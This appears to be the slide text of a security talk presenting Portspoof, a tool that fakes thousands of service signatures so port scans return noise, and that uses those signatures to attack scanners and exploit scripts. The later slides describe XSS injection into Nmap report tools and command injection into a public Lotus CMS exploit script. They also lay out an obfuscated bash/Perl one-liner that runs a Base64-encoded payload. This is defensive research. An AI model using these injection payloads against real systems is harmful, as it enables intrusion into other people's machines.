Pwn’ing you(r) cyber offenders

Presented by:
Piotr Duszynski
@drk1wi
;WHOAMI;#?

- Senior Security Consultant @Trustwave OSCP, OSCE, CEH
- In security field for the past 6 years, hacking since 9 ...
- Enjoys security research, crazy road trips, mojitos and good music
- Regardless of this slide title tries not to be too nerdy
What is this presentation about?

Active (Offensive) defense in practice

- New defensive technique that renders your port scan results useless ... WOOT
- New attack vectors against you(r) attackers offensive toolbox ... WOOT WOOT
- Short introduction to a tool called: Portspoof.
- PWN’age POC DEMO for one of the well known port scanners.
“Blind attackers’ tools”
The art of Annoyance and Camouflage
Destroying the reconnaissance phase

• Typical case scenario (a target system is behind a Firewall)

$ nmap --sV -O demo.addr.pl

Host is up (0.21s latency).
Not shown: 984 filtered ports
PORT       STATE      SERVICE       VERSION
22/tcp     open       ssh           OpenSSH 6.1 (protocol 2.0)
80/tcp     open       http          Apache httpd 2.2.24 ((Amazon))
1720/tcp   open       H.323/Q.931?
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 104.51 seconds
Portspoof – implementation of the idea

GOAL: “make your attackers port scanning experience a real pain”

Worst possible scenario:

• All 65535 ports are open …
  *Portspoof will bind to a single port

• On every open port there is a service listening…
  *Portspoof will dynamically generate valid service signatures ~ 8000 supported

Your task:
Identify all real services on the remote system…
Rendering your port scan useless with Portspoof

• Worst case scenario (target system is behind the Portspoof):

$ nmap --sV --p - -PN demo.addr.pl

....you will need a lot of patience!
Rendering your port scan useless

Scanning statistics:

**65.535** open ports (services)

~**120** MB of sent data

**30682** s (8.5h)

and few beers later ...
Rendering your port scan useless

- NMAP OS identification results

```sh
$ nmap -sV -O demo.addr.pl
```

```
65129/tcp open  fw1-rlogin  Check Point FireWall-1 authenticated RLogin server (Evmrp0)  
65389/tcp open ident    Internet Rex identd

Device type: general purpose
Running (JUST GUESSING): Linux 3.X (93%)
OS CPE: cpe:/o:linux:linux_kernel:3

Aggressive OS guesses: Linux 3.2 (93%), Linux 3.0 (92%), Linux 3.0 - 3.2 (85%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Hosts: gTknnkuB, ouwH-rKWW, bWNnRo, ClffHC, leLtAjg;
OSs: Unix, Windows, Linux, Solaris, NetWare; Devices: print server, webcam, router, storage-misc, printer;
Devices: print server, webcam, router, storage-misc, printer;
```
Rendering your port scan useless

- NMAP OS identification results:

  **Device type:** general purpose

  **Running (JUST GUESSING):** Linux 3.X (93%)
  **OS CPE:** cpe:/o:linux:linux_kernel:3

  **Aggressive OS guesses:** Linux 3.2 (93%), Linux 3.0 (92%), Linux 3.0 - 3.2 (85%)
  **No exact OS matches for host (test conditions non-ideal).**

  **Service Info:** Hosts: gTknkkkB, ouwH-rKWw, bWQnRo, ClFfHC, leLt:AJg;

  **OSs:** Unix, Windows, Linux, Solaris, NetWare; Devices: print server, webcam, router, storage-misc, printer;

  **Devices:** print server, webcam, router, storage-misc, printer;

  **CPE:** cpe:/o:microsoft:windows, cpe:/o:redhat:linux, cpe:/o:sun:sunos,cpe:/o:novell:netware, cpe:/o:linux:linux_kernel
Rendering your port scan useless

<table>
<thead>
<tr>
<th>Port</th>
<th>Service</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>16922/tcp</td>
<td>telnet</td>
<td>AXIS Webcam S+</td>
</tr>
<tr>
<td>16923/tcp</td>
<td>ftp</td>
<td>vsftpd (Misconfigured)</td>
</tr>
<tr>
<td>16924/tcp</td>
<td>ssh</td>
<td>Cyberoam UTM firewall sshd (protocol 57335030)</td>
</tr>
<tr>
<td>16925/tcp</td>
<td>smtp</td>
<td>LSMTP smtpd ZwUgnBBM</td>
</tr>
<tr>
<td>16926/tcp</td>
<td>smtp</td>
<td>HP Service Desk SMTP server 5WMDadU</td>
</tr>
<tr>
<td>16927/tcp</td>
<td>desktop-central</td>
<td>ManageEngine Desktop Central DesktopCentralServer</td>
</tr>
<tr>
<td>16928/tcp</td>
<td>zabbix</td>
<td>Zabbix Monitoring System</td>
</tr>
<tr>
<td>16929/tcp</td>
<td>telnet</td>
<td>Enterasys RBT-8200 switch telnetd</td>
</tr>
<tr>
<td>16930/tcp</td>
<td>hp-gsg</td>
<td>HP JetDirect Generic Scan Gateway 9950</td>
</tr>
<tr>
<td>16931/tcp</td>
<td>telnet</td>
<td>NovaNET-WEB backup server telnetd</td>
</tr>
<tr>
<td>16932/tcp</td>
<td>jabber</td>
<td>Jabber instant messaging server</td>
</tr>
<tr>
<td>16933/tcp</td>
<td>shell</td>
<td>w4ck1ng-shell hxICG (<strong>BACKDOOR</strong>)</td>
</tr>
<tr>
<td>16934/tcp</td>
<td>4d-server</td>
<td>4th Dimension database server</td>
</tr>
<tr>
<td>16935/tcp</td>
<td>pop3-proxy</td>
<td>AVG pop3 proxy 6</td>
</tr>
<tr>
<td>16936/tcp</td>
<td>ssh</td>
<td>(protocol 9164)</td>
</tr>
<tr>
<td>16937/tcp</td>
<td>ftp</td>
<td>ProFTPD DxK-Bh (CentOS _TsbPYz_p)</td>
</tr>
<tr>
<td>16938/tcp</td>
<td>ftp</td>
<td>Argosy Research HD363N Network HDD ftptd</td>
</tr>
<tr>
<td>16939/tcp</td>
<td>gkrellm</td>
<td>GKrellM System Monitor</td>
</tr>
<tr>
<td>16940/tcp</td>
<td>smtp</td>
<td>QuickMail Pro smtpd 4</td>
</tr>
<tr>
<td>16941/tcp</td>
<td>sieve</td>
<td>Cyrus timesieved XClkihuw_</td>
</tr>
<tr>
<td>16942/tcp</td>
<td>smtp</td>
<td>Trend Micro InterScan S+ (on Postfix)</td>
</tr>
<tr>
<td>16943/tcp</td>
<td>sdcomm</td>
<td>RSA SecureID Ace Server</td>
</tr>
<tr>
<td>16944/tcp</td>
<td>telnet</td>
<td>Check Point FireWall-1 Client Authenticaton Server</td>
</tr>
</tbody>
</table>
Rendering your port scan useless

... and somewhere in the results you can find the hidden message ...
Rendering your port scan useless

- **AMAP**: $ amap -q demo.addr.pl 3000-3100

```
Protocol on 54.217.218.137:3086/tcp matches telnet
Protocol on 54.217.218.137:3041/tcp matches rlogin
Protocol on 54.217.218.137:3041/tcp matches telnet-t-rex-proxy
Protocol on 54.217.218.137:3087/tcp matches telnet-t-rex-proxy
Protocol on 54.217.218.137:3016/tcp matches telnet
Protocol on 54.217.218.137:3022/tcp matches rlogin
Protocol on 54.217.218.137:3022/tcp matches telnet
Protocol on 54.217.218.137:3019/tcp matches telnet-t-rex-proxy
Protocol on 54.217.218.137:3085/tcp matches telnet-aix
Unrecognized response from 54.217.218.137:3099/tcp (by trigger rpc) received.
Please send this output and the name of the application to vh@thc.org:
 0000: 0a46 656c 6978 2052 656d 6f74 6520 5368  [.Felix Remote Sh ]
 0010: 666c 6973 6573 6573 656e 6469 6778 6573  [ell Console:...= ]
 0020: 333d 333d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d  [============ ]
 0030: 3d3d 3d3d 3d3d 3d3d 000a 000a 2d3e  [=============-> ]
 0040: 200a
0078/tcp open  ssh
  n 54.217.218.137:3055/tcp matches rlogin
Protocol on 54.217.218.137:3055/tcp matches telnet
Protocol on 54.217.218.137:3008/tcp matches telnet-t-rex-proxy
Protocol on 54.217.218.137:3030/tcp matches telnet-t-rex-proxy
Protocol on 54.217.218.137:3034/tcp matches rlogin
Protocol on 54.217.218.137:3034/tcp matches telnet-t-rex-proxy
Protocol on 54.217.218.137:3050/tcp matches telnet-t-rex-proxy
Protocol on 54.217.218.137:3071/tcp matches telnet
Protocol on 54.217.218.137:3091/tcp matches telnet-aix
Protocol on 54.217.218.137:3046/tcp matches telnet-t-rex-proxy
```

Rendering your port scan useless - conclusions

- **SYN/ACK/FIN/**... stealth scans are no longer **helpful**!
- OS identification is a bit more challenging ...
- Forces you to generate a huge amount of traffic through service probes ...

“Security by obscurity” - but so is the mimicry in the natural environment...
Bypassing Portspoof – ideas

• There is no trivial way to detect false signatures ...
• IP Fragmentation and other evasion techniques will not work ...
• Thread pool exhaustion: play with the thread pool number to handle all incoming connections ...

Please send any bypass ideas that you have to the portspoof mailing list ;)}
“Active (Offensive) Defense in practice” exploiting your attackers’ tools...

“The best defense is a good offense” - Sun Tzu (The Art of War)
Exploiting through Nmap port scanner

Interesting injection points through NMAP service probe engine:

- **Version** fields, **Hosts** fields
- Possibly also others can be found (hint: NSE output) ...

Depending on the matched Nmap regex, you can have around ~100 bytes for your payload.
Exploiting through Nmap port scanner

Does Nmap filter anything? YES!

Version field:
• `-on` (no filtering: ASCII printable + “space” chars)
• `-og` (filtering: all instances of `/` are replaced with `|`)
• `-ox` (filtering: all reserved HTML chars are replaced with char entities)

Service Info field:
Commercial port scanner: XSS example

XSS payload: partially UTF-7 encoded without parenthesis

Nmap report generation tool nr. 1 (McAfee SuperScan 4.0)
Open source reporting tool: XSS example

Nmap report generation tool nr.2 (anonymous)
Blind/Generic XSS pwn’age

$ ./portspoof -v -f XSS.txt -n fuzz_nmap_signatures
Public exploit script: OS command injection example

Exploiting your attackers' exploits :D

# Lotus CMS 3.0 eval() Remote Command Execution Exploit

def page_exists():
    # check if page exists
    curl "$target$path/index.php?page=index" -I -o "$storage1" 2> /dev/null
    cat "$storage1" | sed '2,20d' | cut -d | -f2 > "$storage2" 2> /dev/null
    pageused=$(cat "$storage2")
    if [ "$pageused" = '200' ]; then
        echo
        echo "Path found, now to check for vuln...." | grep --color -E 'Path found||now to check for vuln'
        echo
        vuln_check
    else
        echo "Provided site and path not found, sorry...."
        exit;
    fi
}
Public exploit script:
OS command injection example

Portspoof exploiting signature :

80 "whoami\n"

Exploits’ new **extra** output:

```
root@bt:~# bash cmd.sh 172.16.37.145 /
root
Provided site and path not found, sorry....
root@bt:~#
```
Public exploit script: 
OS command injection example

Creating a universal OS command injection payload one-liner

Challenge:

- Spaces aren’t allowed! : `| cut -f2 -d'`
- Apostrophes and pipes aren’t allowed! : `$\text{(`cat "storage2"')}$`
Public exploit script:
OS command injection example

Creating a universal OS command injection payload one-liner

/bin/bash	-c	{perl,-e,$0,useSPACEMIME::Base64,B64 perl payload }	$_=$ARGV[0];~s/SPACE/\t/ig;eval;$_=$ARGV[1];eval(decode_base64($_));

- Use \t instead of spaces
- Use ‘Bash Brace Expansion’ to address the lack of apostrophes
- Use regex to add additional \t
- Import missing packages on the fly and execute Base64 encoded payload >:]

Trustwave®
SpiderLabs®

© 2012
Blind/generic defensive exploitation

**Pros:**
+ Really effective against aggressive scanning scripts (autopwn)
+ Moderately effective against exploit scripts with easy to exploit vulnerabilities

**Cons:**
- Like with any fuzzing, ... you will need a bit of luck.
- You will not exploit more challenging bugs ... Create your own dedicated signatures for that ;)

Use **Metasploit** and **BeEF** payloads to gather additional information about PWN’ed targets.
In hunt for a vulnerable software ...

Use your Google jutsu skills (previous examples were found in TOP10):

![Google search query](image)

And you will find **many** interesting targets...

*Tip: search for `.sh` (~8000 results), `.pl`, etc.*
Offensive Defense – target vulnerabilities

You can expect to find (like in any software):

- **XSS**, XML injections, **SQL injections**, **OS command injections**, etc.
- Buffer/Heap overflows, Format string overflows, etc.
- DOS vectors
Nmap NSE PWN Demo
Portspoof - 2 in 1 tool ...
Portspoof

Service Signature Emulator / Exploitation Framework Frontend

- **Service emulator mode**
  - Marginal CPU/memory usage (even handling heavy scans)
  - Binds to just one port per instance (127.0.0.1:4444)
  - Over 8000 dynamic service signatures
  - Configurable through iptables:

    - A PREROUTING -i eth1 -p tcp -m tcp --dport 1:65535 -j REDIRECT --to-ports 4444
Portspoof: further information

Portspoof URLs:
http://portspoof.org/

Mailing list:
subscribe@portspoof.org

Git repository (including the presented exploits):
https://github.com/drk1wi/portspoof/

Contact me:
piotr[at]duszynski.eu (PGP fingerprint: FCD2 B5DA 1AE2 056F 4AC8 901D 7258 7496 ECCD 36F3)
http://twitter/drk1wi
Thank you 😊